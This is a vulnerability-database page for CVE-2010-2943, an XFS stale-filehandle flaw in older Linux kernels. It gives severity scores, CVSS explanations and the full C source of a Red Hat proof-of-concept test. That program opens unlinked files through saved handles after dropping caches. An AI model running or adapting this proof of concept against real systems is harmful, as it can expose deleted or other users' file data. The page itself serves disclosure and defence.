CVE-2010-2943 Detail

CVE-2010-2943

Score / Severity

8.1

High

OWSAP

A01-Broken Access Control

EPSS

1.05%V3

Vector

Network

Published

2010-09-30
12h00 +00:00

Modified

2018-10-10
16h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

The xfs implementation in the Linux kernel before 2.6.35 does not look up inode allocation btrees before reading inode buffers, which allows remote authenticated users to read unlinked files, or read or overwrite disk blocks that are currently assigned to an active file but were previously assigned to an unlinked file, by accessing a stale NFS filehandle.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.1	8.1	HIGH	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Network The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. Low The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. None The vulnerable system can be exploited without interaction from any user. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. None There is no impact to availability within the impacted component. Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	6.4		AV:N/AC:L/Au:N/C:P/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 15155

Publication date : 2010-09-28 22h00 +00:00
Author : Red Hat
EDB Verified : Yes

/* stale_handle.c - attempt to create a stale handle and open it * * Copyright (C) 2010 Red Hat, Inc. All Rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * Credit: David Chinner * The XFS filesystem is prone to a local information-disclosure vulnerability. * * Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. * Denial-of-service attacks may also be possible. */ #define TEST_UTIME #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <errno.h> #include <xfs/xfs.h> #include <xfs/handle.h> #define NUMFILES 1024 int main(int argc, char **argv) { int i; int fd; int ret; int failed = 0; char fname[MAXPATHLEN]; char *test_dir; void *handle[NUMFILES]; size_t hlen[NUMFILES]; char fshandle[256]; size_t fshlen; struct stat st; if (argc != 2) { fprintf(stderr, "usage: stale_handle test_dir\n"); return EXIT_FAILURE; } test_dir = argv[1]; if (stat(test_dir, &st) != 0) { perror("stat"); return EXIT_FAILURE; } ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen); if (ret < 0) { perror("path_to_fshandle"); return EXIT_FAILURE; } /* * create a large number of files to force allocation of new inode * chunks on disk. */ for (i=0; i < NUMFILES; i++) { sprintf(fname, "%s/file%06d", test_dir, i); fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { printf("Warning (%s,%d), open(%s) failed.\n", __FILE__, __LINE__, fname); perror(fname); return EXIT_FAILURE; } close(fd); } /* sync to get the new inodes to hit the disk */ sync(); /* create the handles */ for (i=0; i < NUMFILES; i++) { sprintf(fname, "%s/file%06d", test_dir, i); ret = path_to_handle(fname, &handle[i], &hlen[i]); if (ret < 0) { perror("path_to_handle"); return EXIT_FAILURE; } } /* unlink the files */ for (i=0; i < NUMFILES; i++) { sprintf(fname, "%s/file%06d", test_dir, i); ret = unlink(fname); if (ret < 0) { perror("unlink"); return EXIT_FAILURE; } } /* sync to get log forced for unlink transactions to hit the disk */ sync(); /* sync once more FTW */ sync(); /* * now drop the caches so that unlinked inodes are reclaimed and * buftarg page cache is emptied so that the inode cluster has to be * fetched from disk again for the open_by_handle() call. */ system("echo 3 > /proc/sys/vm/drop_caches"); /* * now try to open the files by the stored handles. Expecting ENOENT * for all of them. */ for (i=0; i < NUMFILES; i++) { errno = 0; fd = open_by_handle(handle[i], hlen[i], O_RDWR); if (fd < 0 && errno == ENOENT) { free_handle(handle[i], hlen[i]); continue; } if (ret >= 0) { printf("open_by_handle(%d) opened an unlinked file!\n", i); close(fd); } else printf("open_by_handle(%d) returned %d incorrectly on an unlinked file!\n", i, errno); free_handle(handle[i], hlen[i]); failed++; } if (failed) return EXIT_FAILURE; return EXIT_SUCCESS; }